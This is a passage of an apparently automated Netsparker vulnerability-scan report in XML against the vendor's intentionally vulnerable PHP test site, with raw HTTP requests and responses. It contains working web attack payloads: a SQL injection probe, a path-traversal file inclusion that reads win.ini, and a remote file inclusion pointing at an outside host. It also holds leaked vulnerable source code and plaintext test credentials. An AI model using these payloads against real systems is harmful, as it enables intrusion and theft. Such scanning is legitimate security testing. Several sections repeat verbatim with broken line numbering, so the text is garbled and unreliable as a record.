2697 <li><a href="../nslookup.php">Lookup Service</a></li>
2698 </ul>
2699 </li>
2700 <li>
2701 <h2>Links</h2>
2702 <ul>
2703 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
2704 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
2705 </ul>
2706 </li>
2707 <li>
2708
2709 </ul>
2710 </div> <!-- end #sidebar -->
2711 <div style="clear: both;">&nbsp;</div>
2712 </div>
2713 </div>
2714 </div>
2715 <!-- end #page -->
2716 </div>
2717 v
2718 <div id="footer">
2719 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
2720 </div> <!-- end #footer -->
2721 </body>
2722 </html>
2723 ]]></rawresponse>
2724 <extrainformation>
2725 <info name="Form target action"><![CDATA[control.php]]></info>
2726 </extrainformation>
2727
2728 <classification>
2729 <OWASP>A9</OWASP>
2730 <WASC>04</WASC>
2731 <CWE>319</CWE>
2732 <CAPEC>65</CAPEC>
2733 <PCI>6.5.9</PCI>
2734 <PCI2>6.5.4</PCI2>
2735 </classification>
2736
2737 </vulnerability>
2738 <vulnerability confirmed="True">
2739 <url>http://php.testsparker.com/artist.php?id=-1+OR+17-7%3d10</url>
2740 <type>DbConnectedAsAdmin</type>
2741 <severity>Important</severity>
2742 <certainty>100</certainty>
2743
2744 <rawrequest><![CDATA[GET /artist.php?id=-1+OR+17-7%3d10 HTTP/1.1
2745 Cache-Control: no-cache
2746 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
2747 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
2748 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
2749 X-Scanner: Netsparker
2750 Accept-Language: en-us,en;q=0.5
2751 Host: php.testsparker.com
2752 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
2753 Accept-Encoding: gzip, deflate
2754
2755 ]]></rawrequest>
2756 <rawresponse><![CDATA[HTTP/1.1 200 OK
2757 Date: Fri, 29 Nov 2013 11:27:11 GMT
2758 Transfer-Encoding: chunked
2759 Server: Apache/2.2.8 (Win32) PHP/5.2.6
2760 X-Powered-By: PHP/5.2.6
2761 Content-Type: text/html
2762
2763
2764 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2765 <html xmlns="http://www.w3.org/1999/xhtml">
2766 <head>
2767 <meta name="keywords" content="" />
2768 <meta name="description" content="" />
2769 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
2770 <title>Netsparker Test Web Site - PHP</title>
2771 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
2772 </head><link type="text/css" href="Generics/style.css" rel="stylesheet"/>
2773 <body>
2774 <div id="wrapper">
2775
2776 <div id="menu">
2777 <ul>
2778 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
2779 <li><a href="hello.php?name=Visitor">Hello</a></li>
2780 <li><a href="products.php?pro=url">Products</a></li>
2781 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
2782 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
2783 <li><a href="auth/">Login</a></li>
2784 </ul>
2785 </div>
2786 <!-- end #menu -->
2787 <div id="header">
2788
2789 </div>
2790 <!-- end #header --> <div id="page">
2791 <div id="page-bgtop">
2792 <div id="page-bgbtm">
2793 <div id="content">
2794 <div class="post">
2795 <h2 class="title"><a href="artist.php#">Artist Service</a></h2>
2796
2797 <div style="clear: both;">&nbsp;</div>
2798 <div class="entry">
2799 <p>
2800
2801
2802
28032803 <table class="container"><thead><th>ID</th><th>Name</th><th>SURNAME</th><th>CREATION DATE </th></thead><tbody><tr class="odd">
28042804 <td>2 </td>
28052805 <td>NICK </td>
42634263 <td>2012-03-13 12:14:54 </td>
42644264 <td>22 </td>
42654265 </tr>
4266 </tbody></table> </p>
4267
4268 </div>
4269 </div>
4270 <div style="clear: both;">&nbsp;</div>
4271 </div>
4272 <!-- end #content -->
4273
4274 <div id="sidebar">
4275 <ul>
4276 <li>
4277 <div id="search" >
4278 <form method="get" action="artist.php">
4279 <div>
4280 <input type="text" name="s" id="search-text" value="" />
4281 <input type="submit" id="search-submit" value="GO" />
4282 </div>
4283 </form>
4284
4285 </div>
4286 <div style="clear: both;">&nbsp;</div>
4287 </li>
4288 <li>
4289 <h2>Tags</h2>
4290 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
4291 </li>
4292 <li>
4293 <h2>Inner Pages</h2>
4294 <ul>
4295 <li><a href="artist.php?id=test">Artist Search</a></li>
4296 <li><a href="nslookup.php">Lookup Service</a></li>
4297 </ul>
4298 </li>
4299 <li>
4300 <h2>Links</h2>
4301 <ul>
4302 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
4303 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
4304 </ul>
4305 </li>
4306 </ul>
4307 </div> <!-- end #sidebar -->
4308 <div style="clear: both;">&nbsp;</div>
4309 </div>
4310 </div>
4311 </div>
4312 <!-- end #page -->
4313 </div>
4314
4315 <div id="footer">
4316 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
4317 </div> <!-- end #footer -->
4318 </body>
4319 </html>
4320 ]]></rawresponse>
4321 <extrainformation>
4322 </extrainformation>
4323
4324 <classification>
4325 <OWASP>A6</OWASP>
4326 <WASC>14</WASC>
4327 <CWE>267</CWE>
4328 <CAPEC></CAPEC>
4329 <PCI></PCI>
4330 <PCI2>6.5.6</PCI2>
4331 </classification>
4332
4333 </vulnerability>
4334 <vulnerability confirmed="False">
4335 <url>http://php.testsparker.com/process.bak</url>
4336 <type>BackupSourceCodeFound</type>
4337 <severity>Important</severity>
4338 <certainty>95</certainty>
4339
4340 <rawrequest><![CDATA[GET /process.bak HTTP/1.1
4341 Cache-Control: no-cache
4342 Referer: http://php.testsparker.com/process.bak
4343 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4344 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
4345 X-Scanner: Netsparker
4346 Accept-Language: en-us,en;q=0.5
4347 Host: php.testsparker.com
4348 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
4349 Accept-Encoding: gzip, deflate
4350
4351 ]]></rawrequest>
4352 <rawresponse><![CDATA[HTTP/1.1 200 OK
4353 Date: Fri, 29 Nov 2013 11:26:28 GMT
4354 Server: Apache/2.2.8 (Win32) PHP/5.2.6
4355 ETag: "30000000199eb-363-481496ef4391c"
4356 Accept-Ranges: bytes
4357 Content-Length: 867
4358 Content-Type: text/plain
4359 Last-Modified: Mon, 08 Mar 2010 12:45:00 GMT
4360
4361 <?php
4362 require("auth.php");
4363 ini_set("display_errors","0");
4364
4365 //global configuration area
4366 $globals["title"] = "Netsparker Test Web Site - PHP";
4367 function EndsWith($FullStr, $EndStr)
4368 {
4369 // Get the length of the end string
4370 $StrLen = strlen($EndStr);
4371 // Look at the end of FullStr for the substring the size of EndStr
4372 $FullStrEnd = substr($FullStr, strlen($FullStr) - $StrLen);
4373 // If it matches, it does end with EndStr
4374 return $FullStrEnd == $EndStr;
4375 }
4376 ?>
4377
4378 <?php include "Internals/header.php"?>
4379 <body>
4380 <div id="wrapper">
4381 <?php include "Internals/upmenu.php"?>
4382 <?php
4383 $file = $_REQUEST["file"];
4384 if(EndsWith($file,".nsp"))
4385 include $_REQUEST["file"];
4386 ?>
4387 <!-- end #page -->
4388 </div>
4389
4390 <?php include "Internals/footer.php"?>
4391 <!-- end #footer -->
4392 </body>
4393 </html>
4394 ]]></rawresponse>
4395 <extrainformation>
4396 </extrainformation>
4397
4398 <classification>
4399 <OWASP>A8</OWASP>
4400 <WASC>34</WASC>
4401 <CWE>530</CWE>
4402 <CAPEC>87</CAPEC>
4403 <PCI>6.5.10</PCI>
4404 <PCI2>6.5.8</PCI2>
4405 </classification>
4406
4407 </vulnerability>
4408 <vulnerability confirmed="True">
4409 <url>http://php.testsparker.com/process.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00.nsp</url>
4410 <type>Lfi</type>
4411 <severity>Important</severity>
4412 <certainty>100</certainty>
4413
4414 <vulnerableparametertype>GET</vulnerableparametertype>
4415 <vulnerableparameter>file</vulnerableparameter>
4416 <vulnerableparametervalue>../../../../../../../../../../windows/win.ini&#xFF;.nsp</vulnerableparametervalue>
4417 <rawrequest><![CDATA[GET /process.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00.nsp HTTP/1.1
4418 Cache-Control: no-cache
4419 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
4420 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4421 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
4422 X-Scanner: Netsparker
4423 Accept-Language: en-us,en;q=0.5
4424 Host: php.testsparker.com
4425 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
4426 Accept-Encoding: gzip, deflate
4427
4428 ]]></rawrequest>
4429 <rawresponse><![CDATA[HTTP/1.1 200 OK
4430 Date: Fri, 29 Nov 2013 11:27:01 GMT
4431 Server: Apache/2.2.8 (Win32) PHP/5.2.6
4432 X-Powered-By: PHP/5.2.6
4433 Content-Length: 1412
4434 Content-Type: text/html
4435
4436
4437 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4438 <html xmlns="http://www.w3.org/1999/xhtml">
4439 <head>
4440 <meta name="keywords" content="" />
4441 <meta name="description" content="" />
4442 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
4443 <title>Netsparker Test Web Site - PHP</title>
4444 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
4445 </head><body>
4446 <div id="wrapper">
4447
4448 <div id="menu">
4449 <ul>
4450 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
4451 <li><a href="hello.php?name=Visitor">Hello</a></li>
4452 <li><a href="products.php?pro=url">Products</a></li>
4453 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
4454 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
4455 <li><a href="auth/">Login</a></li>
4456 </ul>
4457 </div>
4458 <!-- end #menu -->
4459 <div id="header">
4460
4461 </div>
4462 <!-- end #header --> ; for 16-bit app support
4463 [fonts]
4464 [extensions]
4465 [mci extensions]
4466 [files]
4467 [Mail]
4468 MAPI=1
4469 <!-- process.php load pages from path of the website. -->
4470 <!-- FIXME: File / directory permissions -->
4471 <!-- end #page -->
4472 </div>
4473
4474 <div id="footer">
4475 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
4476 </div> <!-- end #footer -->
4477 </body>
4478 </html>
4479 ]]></rawresponse>
4480 <extrainformation>
4481 </extrainformation>
4482
4483 <classification>
4484 <OWASP>A4</OWASP>
4485 <WASC>33</WASC>
4486 <CWE>98</CWE>
4487 <CAPEC>251</CAPEC>
4488 <PCI>6.5.4</PCI>
4489 <PCI2>6.5.1</PCI2>
4490 </classification>
4491
4492 </vulnerability>
4493 <vulnerability confirmed="False">
4494 <url>http://php.testsparker.com/.svn/all-wcprops</url>
4495 <type>SvnDisclosure</type>
4496 <severity>Important</severity>
4497 <certainty>100</certainty>
4498
4499 <rawrequest><![CDATA[GET /.svn/all-wcprops HTTP/1.1
4500 Cache-Control: no-cache
4501 Referer: http://php.testsparker.com/.svn/all-wcprops
4502 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4503 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
4504 X-Scanner: Netsparker
4505 Accept-Language: en-us,en;q=0.5
4506 Host: php.testsparker.com
4507 Accept-Encoding: gzip, deflate
4508
4509 ]]></rawrequest>
4510 <rawresponse><![CDATA[HTTP/1.1 200 OK
4511 Date: Fri, 29 Nov 2013 11:25:37 GMT
4512 Server: Apache/2.2.8 (Win32) PHP/5.2.6
4513 ETag: "131000000013a0b-46e-480329f1c6140"
4514 Accept-Ranges: bytes
4515 Content-Length: 1134
4516 Content-Type: text/plain
4517 Last-Modified: Mon, 22 Feb 2010 16:06:53 GMT
4518
4266 </tbody></table> </p>
4267
4268 </div>
4269 </div>
4270 <div style="clear: both;">&nbsp;</div>
4271 </div>
4272 <!-- end #content -->
4273
4274 <div id="sidebar">
4275 <ul>
4276 <li>
4277 <div id="search" >
4278 <form method="get" action="artist.php">
4279 <div>
4280 <input type="text" name="s" id="search-text" value="" />
4281 <input type="submit" id="search-submit" value="GO" />
4282 </div>
4283 </form>
4284
4285 </div>
4286 <div style="clear: both;">&nbsp;</div>
4287 </li>
4288 <li>
4289 <h2>Tags</h2>
4290 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
4291 </li>
4292 <li>
4293 <h2>Inner Pages</h2>
4294 <ul>
4295 <li><a href="artist.php?id=test">Artist Search</a></li>
4296 <li><a href="nslookup.php">Lookup Service</a></li>
4297 </ul>
4298 </li>
4299 <li>
4300 <h2>Links</h2>
4301 <ul>
4302 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
4303 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
4304 </ul>
4305 </li>
4306 </ul>
4307 </div> <!-- end #sidebar -->
4308 <div style="clear: both;">&nbsp;</div>
4309 </div>
4310 </div>
4311 </div>
4312 <!-- end #page -->
4313 </div>
4314
4315 <div id="footer">
4316 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
4317 </div> <!-- end #footer -->
4318 </body>
4319 </html>
4320 ]]></rawresponse>
4321 <extrainformation>
4322 </extrainformation>
4323
4324 <classification>
4325 <OWASP>A6</OWASP>
4326 <WASC>14</WASC>
4327 <CWE>267</CWE>
4328 <CAPEC></CAPEC>
4329 <PCI></PCI>
4330 <PCI2>6.5.6</PCI2>
4331 </classification>
4332
4333 </vulnerability>
4334 <vulnerability confirmed="False">
4335 <url>http://php.testsparker.com/process.bak</url>
4336 <type>BackupSourceCodeFound</type>
4337 <severity>Important</severity>
4338 <certainty>95</certainty>
4339
4340 <rawrequest><![CDATA[GET /process.bak HTTP/1.1
4341 Cache-Control: no-cache
4342 Referer: http://php.testsparker.com/process.bak
4343 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4344 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
4345 X-Scanner: Netsparker
4346 Accept-Language: en-us,en;q=0.5
4347 Host: php.testsparker.com
4348 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
4349 Accept-Encoding: gzip, deflate
4350
4351 ]]></rawrequest>
4352 <rawresponse><![CDATA[HTTP/1.1 200 OK
4353 Date: Fri, 29 Nov 2013 11:26:28 GMT
4354 Server: Apache/2.2.8 (Win32) PHP/5.2.6
4355 ETag: "30000000199eb-363-481496ef4391c"
4356 Accept-Ranges: bytes
4357 Content-Length: 867
4358 Content-Type: text/plain
4359 Last-Modified: Mon, 08 Mar 2010 12:45:00 GMT
4360
4361 <?php
4362 require("auth.php");
4363 ini_set("display_errors","0");
4364
4365 //global configuration area
4366 $globals["title"] = "Netsparker Test Web Site - PHP";
4367 function EndsWith($FullStr, $EndStr)
4368 {
4369 // Get the length of the end string
4370 $StrLen = strlen($EndStr);
4371 // Look at the end of FullStr for the substring the size of EndStr
4372 $FullStrEnd = substr($FullStr, strlen($FullStr) - $StrLen);
4373 // If it matches, it does end with EndStr
4374 return $FullStrEnd == $EndStr;
4375 }
4376 ?>
4377
4378 <?php include "Internals/header.php"?>
4379 <body>
4380 <div id="wrapper">
4381 <?php include "Internals/upmenu.php"?>
4382 <?php
4383 $file = $_REQUEST["file"];
4384 if(EndsWith($file,".nsp"))
4385 include $_REQUEST["file"];
4386 ?>
4387 <!-- end #page -->
4388 </div>
4389
4390 <?php include "Internals/footer.php"?>
4391 <!-- end #footer -->
4392 </body>
4393 </html>
4394 ]]></rawresponse>
4395 <extrainformation>
4396 </extrainformation>
4397
4398 <classification>
4399 <OWASP>A8</OWASP>
4400 <WASC>34</WASC>
4401 <CWE>530</CWE>
4402 <CAPEC>87</CAPEC>
4403 <PCI>6.5.10</PCI>
4404 <PCI2>6.5.8</PCI2>
4405 </classification>
4406
4407 </vulnerability>
4408 <vulnerability confirmed="True">
4409 <url>http://php.testsparker.com/process.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00.nsp</url>
4410 <type>Lfi</type>
4411 <severity>Important</severity>
4412 <certainty>100</certainty>
4413
4414 <vulnerableparametertype>GET</vulnerableparametertype>
4415 <vulnerableparameter>file</vulnerableparameter>
4416 <vulnerableparametervalue>../../../../../../../../../../windows/win.ini&#xFF;.nsp</vulnerableparametervalue>
4417 <rawrequest><![CDATA[GET /process.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00.nsp HTTP/1.1
4418 Cache-Control: no-cache
4419 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
4420 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4421 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
4422 X-Scanner: Netsparker
4423 Accept-Language: en-us,en;q=0.5
4424 Host: php.testsparker.com
4425 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
4426 Accept-Encoding: gzip, deflate
4427
4428 ]]></rawrequest>
4429 <rawresponse><![CDATA[HTTP/1.1 200 OK
4430 Date: Fri, 29 Nov 2013 11:27:01 GMT
4431 Server: Apache/2.2.8 (Win32) PHP/5.2.6
4432 X-Powered-By: PHP/5.2.6
4433 Content-Length: 1412
4434 Content-Type: text/html
4435
4436
4437 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4438 <html xmlns="http://www.w3.org/1999/xhtml">
4439 <head>
4440 <meta name="keywords" content="" />
4441 <meta name="description" content="" />
4442 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
4443 <title>Netsparker Test Web Site - PHP</title>
4444 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
4445 </head><body>
4446 <div id="wrapper">
4447
4448 <div id="menu">
4449 <ul>
4450 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
4451 <li><a href="hello.php?name=Visitor">Hello</a></li>
4452 <li><a href="products.php?pro=url">Products</a></li>
4453 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
4454 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
4455 <li><a href="auth/">Login</a></li>
4456 </ul>
4457 </div>
4458 <!-- end #menu -->
4459 <div id="header">
4460
4461 </div>
4462 <!-- end #header --> ; for 16-bit app support
4463 [fonts]
4464 [extensions]
4465 [mci extensions]
4466 [files]
4467 [Mail]
4468 MAPI=1
4469 <!-- process.php load pages from path of the website. -->
4470 <!-- FIXME: File / directory permissions -->
4471 <!-- end #page -->
4472 </div>
4473
4474 <div id="footer">
4475 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
4476 </div> <!-- end #footer -->
4477 </body>
4478 </html>
4479 ]]></rawresponse>
4480 <extrainformation>
4481 </extrainformation>
4482
4483 <classification>
4484 <OWASP>A4</OWASP>
4485 <WASC>33</WASC>
4486 <CWE>98</CWE>
4487 <CAPEC>251</CAPEC>
4488 <PCI>6.5.4</PCI>
4489 <PCI2>6.5.1</PCI2>
4490 </classification>
4491
4492 </vulnerability>
4493 <vulnerability confirmed="False">
4494 <url>http://php.testsparker.com/.svn/all-wcprops</url>
4495 <type>SvnDisclosure</type>
4496 <severity>Important</severity>
4497 <certainty>100</certainty>
4498
4499 <rawrequest><![CDATA[GET /.svn/all-wcprops HTTP/1.1
4500 Cache-Control: no-cache
4501 Referer: http://php.testsparker.com/.svn/all-wcprops
4502 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4503 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
4504 X-Scanner: Netsparker
4505 Accept-Language: en-us,en;q=0.5
4506 Host: php.testsparker.com
4507 Accept-Encoding: gzip, deflate
4508
4509 ]]></rawrequest>
4510 <rawresponse><![CDATA[HTTP/1.1 200 OK
4511 Date: Fri, 29 Nov 2013 11:25:37 GMT
4512 Server: Apache/2.2.8 (Win32) PHP/5.2.6
4513 ETag: "131000000013a0b-46e-480329f1c6140"
4514 Accept-Ranges: bytes
4515 Content-Length: 1134
4516 Content-Type: text/plain
4517 Last-Modified: Mon, 22 Feb 2010 16:06:53 GMT
4518
45194519 K 25
45204520 svn:wc:ra_dav:version-url
45214521 V 53
45754575 V 63
45764576 /svn/msl_testbed/!svn/ver/445/testscript/Testsite-PHP/index.php
45774577 END
4578 ]]></rawresponse>
4579 <extrainformation>
4580 </extrainformation>
4581
4582 <classification>
4583 <OWASP>A6</OWASP>
4584 <WASC>13</WASC>
4585 <CWE>527</CWE>
4586 <CAPEC>118</CAPEC>
4587 <PCI>6.5.6</PCI>
4588 <PCI2></PCI2>
4589 </classification>
4590
4591 </vulnerability>
4592 <vulnerability confirmed="False">
4593 <url>http://php.testsparker.com/process.php?file=http%3a%2f%2fnetsparker.com%2fn%3f%00.nsp</url>
4594 <type>XssViaRfi</type>
4595 <severity>Important</severity>
4596 <certainty>95</certainty>
4597
4598 <vulnerableparametertype>GET</vulnerableparametertype>
4599 <vulnerableparameter>file</vulnerableparameter>
4600 <vulnerableparametervalue>http://netsparker.com/n?&#xFF;.nsp</vulnerableparametervalue>
4601 <rawrequest><![CDATA[GET /process.php?file=http%3a%2f%2fnetsparker.com%2fn%3f%00.nsp HTTP/1.1
4602 Cache-Control: no-cache
4603 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
4604 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4605 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
4606 X-Scanner: Netsparker
4607 Accept-Language: en-us,en;q=0.5
4608 Host: php.testsparker.com
4609 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
4610 Accept-Encoding: gzip, deflate
4611
4612 ]]></rawrequest>
4613 <rawresponse><![CDATA[HTTP/1.1 200 OK
4614 Date: Fri, 29 Nov 2013 11:27:03 GMT
4615 Server: Apache/2.2.8 (Win32) PHP/5.2.6
4616 X-Powered-By: PHP/5.2.6
4617 Content-Length: 1615
4618 Content-Type: text/html
4619
4620
4621 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4622 <html xmlns="http://www.w3.org/1999/xhtml">
4623 <head>
4624 <meta name="keywords" content="" />
4625 <meta name="description" content="" />
4626 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
4627 <title>Netsparker Test Web Site - PHP</title>
4628 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
4629 </head><body>
4630 <div id="wrapper">
4631
4632 <div id="menu">
4633 <ul>
4634 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
4635 <li><a href="hello.php?name=Visitor">Hello</a></li>
4636 <li><a href="products.php?pro=url">Products</a></li>
4637 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
4638 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
4639 <li><a href="auth/">Login</a></li>
4640 </ul>
4641 </div>
4642 <!-- end #menu -->
4643 <div id="header">
4644
4645 </div>
4646 <!-- end #header --> NETSPARKER_F0M1-44353702950-<%=chr(78) + chr(69) + chr(84) + chr(83) + chr(80) + chr(65) + chr(82) + chr(75) + chr(69) + chr(82) + chr(95) + chr(70) + chr(48) + chr(77) + chr(49) %>
4647 <%=chr(45) & (44353702950+(Cint(Request("nsxint"))*4567)) & chr(45) %>
4648 <script>netsparkerRFI(0x066666)</script> <!-- process.php load pages from path of the website. -->
4649 <!-- FIXME: File / directory permissions -->
4650 <!-- end #page -->
4651 </div>
4652
4653 <div id="footer">
4654 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
4655 </div> <!-- end #footer -->
4656 </body>
4657 </html>
4658 ]]></rawresponse>
4659 <extrainformation>
4660 </extrainformation>
4661
4662 <classification>
4663 <OWASP>A2</OWASP>
4664 <WASC>08</WASC>
4665 <CWE>79</CWE>
4666 <CAPEC>19</CAPEC>
4667 <PCI>6.5.1</PCI>
4668 <PCI2>6.5.7</PCI2>
4669 </classification>
4670
4671 </vulnerability>
4672 <vulnerability confirmed="False">
4673 <url>http://php.testsparker.com/auth/login.php</url>
4674 <type>CsrfInLoginFormDetected</type>
4675 <severity>Important</severity>
4676 <certainty>90</certainty>
4677
4678 <rawrequest><![CDATA[GET /auth/login.php HTTP/1.1
4679 Cache-Control: no-cache
4680 Referer: http://php.testsparker.com/auth/
4681 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4682 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
4683 X-Scanner: Netsparker
4684 Accept-Language: en-us,en;q=0.5
4685 Host: php.testsparker.com
4686 Accept-Encoding: gzip, deflate
4687
4688 ]]></rawrequest>
4689 <rawresponse><![CDATA[HTTP/1.1 200 OK
4690 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
4691 Date: Fri, 29 Nov 2013 11:26:26 GMT
4692 Pragma: no-cache
4693 Server: Apache/2.2.8 (Win32) PHP/5.2.6
4694 X-Powered-By: PHP/5.2.6
4695 Set-Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056; path=/
4696 Content-Length: 3108
4697 Content-Type: text/html
4698 Expires: Thu, 19 Nov 1981 08:52:00 GMT
4699
4700
4701 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4702 <html xmlns="http://www.w3.org/1999/xhtml">
4703 <head>
4704 <meta name="keywords" content="" />
4705 <meta name="description" content="" />
4706 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
4707 <title>Netsparker Test Web Site - PHP</title>
4708 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
4709 </head><body>
4710 <div id="wrapper">
4711
4712 <div id="menu">
4713 <ul>
4714 <li><a href="../process.php?file=Generics/index.nsp">Home</a></li>
4715 <li><a href="../hello.php?name=Visitor">Hello</a></li>
4716 <li><a href="../products.php?pro=url">Products</a></li>
4717 <li><a href="../process.php?file=Generics/about.nsp">About</a></li>
4718 <li><a href="../process.php?file=Generics/contact.nsp">Contact</a></li>
4719 <li><a href="">Login</a></li>
4720 </ul>
4721 </div>
4722 <!-- end #menu -->
4723 <div id="header">
4724
4725 </div>
4726 <!-- end #header --> <div id="page">
4727 <div id="page-bgtop">
4728 <div id="page-bgbtm">
4729 <div id="content">
4730 <div class="post">
4731 <h1 class="title"><a href="#">Login Area</a></h1>
4732 <p>
4733 Enter your credentials (admin / admin123456)
4734 <br/>
4735 <form method="POST" action="control.php">
4736 Username: <input type="text" name="username"/>
4737 <br/>
4738 Password:&nbsp;&nbsp;<input type="password" name="password"/>
4739 <!-- Test credentials -->
4740 <!-- Password: admin123456 -->
4741 <br/>
4742 <br/>
4743 <input type="submit" value="SUBMIT">
4744 </form>
4745 </p>
4746
4747 <div style="clear: both;">&nbsp;</div>
4748 <div class="entry">
4749
4750
4751 </div>
4752 </div>
4753 <div style="clear: both;">&nbsp;</div>
4754 </div>
4755 <!-- end #content -->
4756
4757 <div id="sidebar">
4758 <ul>
4759 <li>
4760 <div id="search" >
4761 <form method="get" action="../artist.php">
4762 <div>
4763 <input type="text" name="s" id="search-text" value="" />
4764 <input type="submit" id="search-submit" value="GO" />
4765 </div>
4766 </form>
4767
4768 </div>
4769 <div style="clear: both;">&nbsp;</div>
4770 </li>
4771 <li>
4772 <h2>Tags</h2>
4773 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
4774 </li>
4775 <li>
4776 <h2>Inner Pages</h2>
4777 <ul>
4778 <li><a href="../artist.php?id=test">Artist Search</a></li>
4779 <li><a href="../nslookup.php">Lookup Service</a></li>
4780 </ul>
4781 </li>
4782 <li>
4783 <h2>Links</h2>
4784 <ul>
